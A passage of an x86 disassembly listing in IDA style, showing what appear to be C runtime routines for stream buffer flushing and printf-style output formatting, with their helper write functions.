		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_419D95
		cmp	esi, offset dword_4363A8
		jz	short loc_419D83
		cmp	esi, offset dword_4363C8
		jnz	short loc_419D8E

loc_419D83:				; CODE XREF: sub_419D23+56j
		push	ebx
		call	sub_41FA1C
		test	eax, eax
		pop	ecx
		jnz	short loc_419D95

loc_419D8E:				; CODE XREF: sub_419D23+5Ej
		push	esi
		call	sub_41F9D8
		pop	ecx

loc_419D95:				; CODE XREF: sub_419D23+4Ej
					; sub_419D23+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_419E02
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_419DC5
		push	edi
		push	eax
		push	ebx
		call	sub_41ED97
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_419DF8
; ---------------------------------------------------------------------------

loc_419DC5:				; CODE XREF: sub_419D23+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_419DE0
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4CECE0[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_419DE5
; ---------------------------------------------------------------------------

loc_419DE0:				; CODE XREF: sub_419D23+A5j
		mov	eax, offset dword_4362F0

loc_419DE5:				; CODE XREF: sub_419D23+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_419DF8
		push	2
		push	0
		push	ebx
		call	sub_41E517
		add	esp, 0Ch

loc_419DF8:				; CODE XREF: sub_419D23+A0j
					; sub_419D23+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_419E16
; ---------------------------------------------------------------------------

loc_419E02:				; CODE XREF: sub_419D23+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_41ED97
		add	esp, 0Ch
		mov	[ebp+arg_4], eax

loc_419E16:				; CODE XREF: sub_419D23+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_419E22
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_419E31
; ---------------------------------------------------------------------------

loc_419E22:				; CODE XREF: sub_419D23+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_419E34
; ---------------------------------------------------------------------------

loc_419E2C:				; CODE XREF: sub_419D23+10j
					; sub_419D23+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax

loc_419E31:				; CODE XREF: sub_419D23+FDj
		or	eax, 0FFFFFFFFh

loc_419E34:				; CODE XREF: sub_419D23+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_419D23	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E38	proc near		; CODE XREF: sub_4172B0+29p
					; sub_41782A+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_41A551
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_419E6C
; ---------------------------------------------------------------------------

loc_419E64:				; CODE XREF: sub_419E38+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx

loc_419E6C:				; CODE XREF: sub_419E38+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_41A551
		cmp	bl, 20h
		jl	short loc_419E8D
		cmp	bl, 78h
		jg	short loc_419E8D
		movsx	eax, bl
		mov	al, [eax+42469Ch]
		and	eax, 0Fh
		jmp	short loc_419E8F
; ---------------------------------------------------------------------------

loc_419E8D:				; CODE XREF: sub_419E38+40j
					; sub_419E38+45j
		xor	eax, eax

loc_419E8F:				; CODE XREF: sub_419E38+53j
		movsx	eax, byte_4246BC[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_41A540	; default
		jmp	off_41A559[eax*4] ; switch jump

loc_419EAD:				; DATA XREF: ___:off_41A559o
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 00419EA6 case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_419EC8:				; CODE XREF: sub_419E38+6Ej
					; DATA XREF: ___:off_41A559o
		movsx	eax, bl		; jumptable 00419EA6 case 2
		sub	eax, 20h
		jz	short loc_419F0B
		sub	eax, 3
		jz	short loc_419F02
		sub	eax, 8
		jz	short loc_419EF9
		dec	eax
		dec	eax
		jz	short loc_419EF0
		sub	eax, 3
		jnz	loc_41A540	; default
		or	[ebp+var_4], 8
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_419EF0:				; CODE XREF: sub_419E38+A4j
		or	[ebp+var_4], 4
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_419EF9:				; CODE XREF: sub_419E38+A0j
		or	[ebp+var_4], 1
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_419F02:				; CODE XREF: sub_419E38+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_419F0B:				; CODE XREF: sub_419E38+96j
		or	[ebp+var_4], 2
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_419F14:				; CODE XREF: sub_419E38+6Ej
					; DATA XREF: ___:off_41A559o
		cmp	bl, 2Ah		; jumptable 00419EA6 case 3
		jnz	short loc_419F3C
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41A617
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_41A540	; default
		or	[ebp+var_4], 4
		neg	eax

loc_419F34:				; CODE XREF: sub_419E38+111j
		mov	[ebp+var_20], eax
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_419F3C:				; CODE XREF: sub_419E38+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_419F34
; ---------------------------------------------------------------------------

loc_419F4B:				; CODE XREF: sub_419E38+6Ej
					; DATA XREF: ___:off_41A559o
		mov	[ebp+var_10], edx ; jumptable 00419EA6 case 4
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_419F53:				; CODE XREF: sub_419E38+6Ej
					; DATA XREF: ___:off_41A559o
		cmp	bl, 2Ah		; jumptable 00419EA6 case 5
		jnz	short loc_419F76
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41A617
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_41A540	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_419F76:				; CODE XREF: sub_419E38+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_419F88:				; CODE XREF: sub_419E38+6Ej
					; DATA XREF: ___:off_41A559o
		cmp	bl, 49h		; jumptable 00419EA6 case 6
		jz	short loc_419FBB
		cmp	bl, 68h
		jz	short loc_419FB2
		cmp	bl, 6Ch
		jz	short loc_419FA9
		cmp	bl, 77h
		jnz	loc_41A540	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_419FA9:				; CODE XREF: sub_419E38+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_419FB2:				; CODE XREF: sub_419E38+158j
		or	[ebp+var_4], 20h
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_419FBB:				; CODE XREF: sub_419E38+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_419FD4
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_419FD4
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_419FD4:				; CODE XREF: sub_419E38+186j
					; sub_419E38+18Cj
		mov	[ebp+var_30], edx

loc_419FD7:				; CODE XREF: sub_419E38+6Ej
					; DATA XREF: ___:off_41A559o
		mov	ecx, off_433C70	; jumptable 00419EA6 case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41A003
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41A579
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi

loc_41A003:				; CODE XREF: sub_419E38+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41A579
		add	esp, 0Ch
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_41A01B:				; CODE XREF: sub_419E38+6Ej
					; DATA XREF: ___:off_41A559o
		movsx	eax, bl		; jumptable 00419EA6 case 7
		cmp	eax, 67h
		jg	loc_41A243
		cmp	eax, 65h
		jge	loc_41A0C6
		cmp	eax, 58h
		jg	loc_41A124
		jz	loc_41A2B7
		sub	eax, 43h
		jz	loc_41A0E7
		dec	eax
		dec	eax
		jz	short loc_41A0BC
		dec	eax
		dec	eax
		jz	short loc_41A0BC
		sub	eax, 0Ch
		jnz	loc_41A442
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41A065
		or	byte ptr [ebp+var_4+1],	8

loc_41A065:				; CODE XREF: sub_419E38+227j
					; sub_419E38+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41A072
		mov	esi, 7FFFFFFFh

loc_41A072:				; CODE XREF: sub_419E38+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41A617
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_41A28B
		test	ecx, ecx
		jnz	short loc_41A09A
		mov	ecx, off_433C6C
		mov	[ebp+var_8], ecx

loc_41A09A:				; CODE XREF: sub_419E38+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx

loc_41A0A3:				; CODE XREF: sub_419E38+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_41A282
		cmp	word ptr [eax],	0
		jz	loc_41A282
		inc	eax
		inc	eax
		jmp	short loc_41A0A3
; ---------------------------------------------------------------------------

loc_41A0BC:				; CODE XREF: sub_419E38+212j
					; sub_419E38+216j
		mov	[ebp+var_34], 1
		add	bl, 20h

loc_41A0C6:				; CODE XREF: sub_419E38+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_41A1AA
		mov	[ebp+var_10], 6
		jmp	loc_41A1B8
; ---------------------------------------------------------------------------

loc_41A0E7:				; CODE XREF: sub_419E38+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41A0F3
		or	byte ptr [ebp+var_4+1],	8

loc_41A0F3:				; CODE XREF: sub_419E38+2B5j
					; sub_419E38+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41A13A
		call	sub_41A634
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41FAFB
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_41A14D
		mov	[ebp+var_28], 1
		jmp	short loc_41A14D
; ---------------------------------------------------------------------------

loc_41A124:				; CODE XREF: sub_419E38+1FBj
		sub	eax, 5Ah
		jz	short loc_41A15B
		sub	eax, 9
		jz	short loc_41A0F3
		dec	eax
		jz	loc_41A31D
		jmp	loc_41A442
; ---------------------------------------------------------------------------

loc_41A13A:				; CODE XREF: sub_419E38+2C5j
		call	sub_41A617
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1

loc_41A14D:				; CODE XREF: sub_419E38+2E1j
					; sub_419E38+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_41A442
; ---------------------------------------------------------------------------

loc_41A15B:				; CODE XREF: sub_419E38+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41A617
		test	eax, eax
		pop	ecx
		jz	short loc_41A19C
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_41A19C
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_41A18D
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_41A442
; ---------------------------------------------------------------------------

loc_41A18D:				; CODE XREF: sub_419E38+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_41A43F
; ---------------------------------------------------------------------------

loc_41A19C:				; CODE XREF: sub_419E38+32Fj
					; sub_419E38+336j
		mov	eax, off_433C68
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_41A238
; ---------------------------------------------------------------------------

loc_41A1AA:				; CODE XREF: sub_419E38+29Dj
		jnz	short loc_41A1B8
		cmp	bl, 67h
		jnz	short loc_41A1B8
		mov	[ebp+var_10], 1

loc_41A1B8:				; CODE XREF: sub_419E38+2AAj
					; sub_419E38:loc_41A1AAj ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	off_435FD0
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_41A20A
		cmp	[ebp+var_10], 0
		jnz	short loc_41A20A
		lea	eax, [ebp+var_248]
		push	eax
		call	off_435FDC
		pop	ecx

loc_41A20A:				; CODE XREF: sub_419E38+3BCj
					; sub_419E38+3C2j
		cmp	bl, 67h
		jnz	short loc_41A221
		test	esi, esi
		jnz	short loc_41A221
		lea	eax, [ebp+var_248]
		push	eax
		call	off_435FD4
		pop	ecx

loc_41A221:				; CODE XREF: sub_419E38+3D5j
					; sub_419E38+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_41A237
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi

loc_41A237:				; CODE XREF: sub_419E38+3F0j
		push	edi

loc_41A238:				; CODE XREF: sub_419E38+36Dj
		call	sub_417AB0
		pop	ecx
		jmp	loc_41A43F
; ---------------------------------------------------------------------------

loc_41A243:				; CODE XREF: sub_419E38+1E9j
		sub	eax, 69h
		jz	loc_41A31D
		sub	eax, 5
		jz	loc_41A2F3
		dec	eax
		jz	loc_41A2E0
		dec	eax
		jz	short loc_41A2B0
		sub	eax, 3
		jz	loc_41A065
		dec	eax
		dec	eax
		jz	loc_41A321
		sub	eax, 3
		jnz	loc_41A442
		mov	[ebp+var_2C], 27h
		jmp	short loc_41A2BE
; ---------------------------------------------------------------------------

loc_41A282:				; CODE XREF: sub_419E38+270j
					; sub_419E38+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_41A43F
; ---------------------------------------------------------------------------

loc_41A28B:				; CODE XREF: sub_419E38+24Fj
		test	ecx, ecx
		jnz	short loc_41A298
		mov	ecx, off_433C68
		mov	[ebp+var_8], ecx

loc_41A298:				; CODE XREF: sub_419E38+455j
		mov	eax, ecx

loc_41A29A:				; CODE XREF: sub_419E38+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_41A2A9
		cmp	byte ptr [eax],	0
		jz	short loc_41A2A9
		inc	eax
		jmp	short loc_41A29A
; ---------------------------------------------------------------------------

loc_41A2A9:				; CODE XREF: sub_419E38+467j
					; sub_419E38+46Cj
		sub	eax, ecx
		jmp	loc_41A43F
; ---------------------------------------------------------------------------

loc_41A2B0:				; CODE XREF: sub_419E38+425j
		mov	[ebp+var_10], 8

loc_41A2B7:				; CODE XREF: sub_419E38+201j
		mov	[ebp+var_2C], 7

loc_41A2BE:				; CODE XREF: sub_419E38+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_41A328
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_41A328
; ---------------------------------------------------------------------------

loc_41A2E0:				; CODE XREF: sub_419E38+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_41A328
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_41A328
; ---------------------------------------------------------------------------

loc_41A2F3:				; CODE XREF: sub_419E38+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41A617
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_41A30C
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_41A311
; ---------------------------------------------------------------------------

loc_41A30C:				; CODE XREF: sub_419E38+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx

loc_41A311:				; CODE XREF: sub_419E38+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------

loc_41A31D:				; CODE XREF: sub_419E38+2F7j
					; sub_419E38+40Ej
		or	[ebp+var_4], 40h

loc_41A321:				; CODE XREF: sub_419E38+432j
		mov	[ebp+var_C], 0Ah

loc_41A328:				; CODE XREF: sub_419E38+491j
					; sub_419E38+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_41A33A
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41A624
		pop	ecx
		jmp	short loc_41A37B
; ---------------------------------------------------------------------------

loc_41A33A:				; CODE XREF: sub_419E38+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_41A361
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41A356
		call	sub_41A617
		pop	ecx
		movsx	eax, ax

loc_41A353:				; CODE XREF: sub_419E38+527j
					; sub_419E38+539j
		cdq
		jmp	short loc_41A37B
; ---------------------------------------------------------------------------

loc_41A356:				; CODE XREF: sub_419E38+510j
		call	sub_41A617
		pop	ecx
		movzx	eax, ax
		jmp	short loc_41A353
; ---------------------------------------------------------------------------

loc_41A361:				; CODE XREF: sub_419E38+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41A373
		call	sub_41A617
		pop	ecx
		jmp	short loc_41A353
; ---------------------------------------------------------------------------

loc_41A373:				; CODE XREF: sub_419E38+531j
		call	sub_41A617
		pop	ecx
		xor	edx, edx

loc_41A37B:				; CODE XREF: sub_419E38+500j
					; sub_419E38+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_41A39C
		test	edx, edx
		jg	short loc_41A39C
		jl	short loc_41A38B
		test	eax, eax
		jnb	short loc_41A39C

loc_41A38B:				; CODE XREF: sub_419E38+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_41A3A0
; ---------------------------------------------------------------------------

loc_41A39C:				; CODE XREF: sub_419E38+547j
					; sub_419E38+54Bj ...
		mov	esi, eax
		mov	edi, edx

loc_41A3A0:				; CODE XREF: sub_419E38+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_41A3A9
		and	edi, 0

loc_41A3A9:				; CODE XREF: sub_419E38+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_41A3B8
		mov	[ebp+var_10], 1
		jmp	short loc_41A3BC
; ---------------------------------------------------------------------------

loc_41A3B8:				; CODE XREF: sub_419E38+575j
		and	[ebp+var_4], 0FFFFFFF7h

loc_41A3BC:				; CODE XREF: sub_419E38+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_41A3C6
		and	[ebp+var_1C], 0

loc_41A3C6:				; CODE XREF: sub_419E38+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax

loc_41A3CC:				; CODE XREF: sub_419E38+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_41A3DC
		mov	eax, esi
		or	eax, edi
		jz	short loc_41A417

loc_41A3DC:				; CODE XREF: sub_419E38+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_4191D0
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_419250
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_41A40D
		add	ebx, [ebp+var_2C]

loc_41A40D:				; CODE XREF: sub_419E38+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_41A3CC
; ---------------------------------------------------------------------------

loc_41A417:				; CODE XREF: sub_419E38+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_41A442
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_41A435
		test	eax, eax
		jnz	short loc_41A442

loc_41A435:				; CODE XREF: sub_419E38+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h

loc_41A43F:				; CODE XREF: sub_419E38+35Fj
					; sub_419E38+406j ...
		mov	[ebp+var_C], eax

loc_41A442:				; CODE XREF: sub_419E38+21Bj
					; sub_419E38+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_41A540	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_41A47A
		test	bh, 1
		jz	short loc_41A45F
		mov	[ebp+var_16], 2Dh
		jmp	short loc_41A473
; ---------------------------------------------------------------------------

loc_41A45F:				; CODE XREF: sub_419E38+61Fj
		test	bl, 1
		jz	short loc_41A46A
		mov	[ebp+var_16], 2Bh
		jmp	short loc_41A473
; ---------------------------------------------------------------------------

loc_41A46A:				; CODE XREF: sub_419E38+62Aj
		test	bl, 2
		jz	short loc_41A47A
		mov	[ebp+var_16], 20h

loc_41A473:				; CODE XREF: sub_419E38+625j
					; sub_419E38+630j
		mov	[ebp+var_1C], 1

loc_41A47A:				; CODE XREF: sub_419E38+61Aj
					; sub_419E38+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_41A49A
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41A5AE
		add	esp, 10h

loc_41A49A:				; CODE XREF: sub_419E38+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_41A5DF
		add	esp, 10h
		test	bl, 8
		jz	short loc_41A4CC
		test	bl, 4
		jnz	short loc_41A4CC
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_41A5AE
		add	esp, 10h

loc_41A4CC:				; CODE XREF: sub_419E38+67Bj
					; sub_419E38+680j
		cmp	[ebp+var_24], 0
		jz	short loc_41A513
		cmp	[ebp+var_C], 0
		jle	short loc_41A513
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]

loc_41A4E1:				; CODE XREF: sub_419E38+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_41FAFB
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41A528
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_41A5DF
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_41A4E1
		jmp	short loc_41A528
; ---------------------------------------------------------------------------

loc_41A513:				; CODE XREF: sub_419E38+698j
					; sub_419E38+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_41A5DF
		add	esp, 10h

loc_41A528:				; CODE XREF: sub_419E38+6BCj
					; sub_419E38+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_41A540 ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41A5AE
		add	esp, 10h

loc_41A540:				; CODE XREF: sub_419E38+68j
					; sub_419E38+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_419E64

loc_41A551:				; CODE XREF: sub_419E38+1Fj
					; sub_419E38+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419E38	endp

; ---------------------------------------------------------------------------
off_41A559	dd offset loc_419FD7	; DATA XREF: sub_419E38+6Er
		dd offset loc_419EAD	; jump table for switch	statement
		dd offset loc_419EC8
		dd offset loc_419F14
		dd offset loc_419F4B
		dd offset loc_419F53
		dd offset loc_419F88
		dd offset loc_41A01B

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A579	proc near		; CODE XREF: sub_419E38+1BDp
					; sub_419E38+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_41A592
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_41A59D
; ---------------------------------------------------------------------------

loc_41A592:				; CODE XREF: sub_41A579+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_419D23
		pop	ecx
		pop	ecx

loc_41A59D:				; CODE XREF: sub_41A579+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_41A5AA
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41A5AA:				; CODE XREF: sub_41A579+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41A579	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A5AE	proc near		; CODE XREF: sub_419E38+65Ap
					; sub_419E38+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_41A5DC
		mov	esi, [esp+8+arg_C]

loc_41A5BF:				; CODE XREF: sub_41A5AE+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_41A579
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_41A5DC
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_41A5BF

loc_41A5DC:				; CODE XREF: sub_41A5AE+Bj
					; sub_41A5AE+25j
		pop	edi
		pop	esi
		retn
sub_41A5AE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A5DF	proc near		; CODE XREF: sub_419E38+670p
					; sub_419E38+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_41A613
		mov	edi, [esp+0Ch+arg_C]
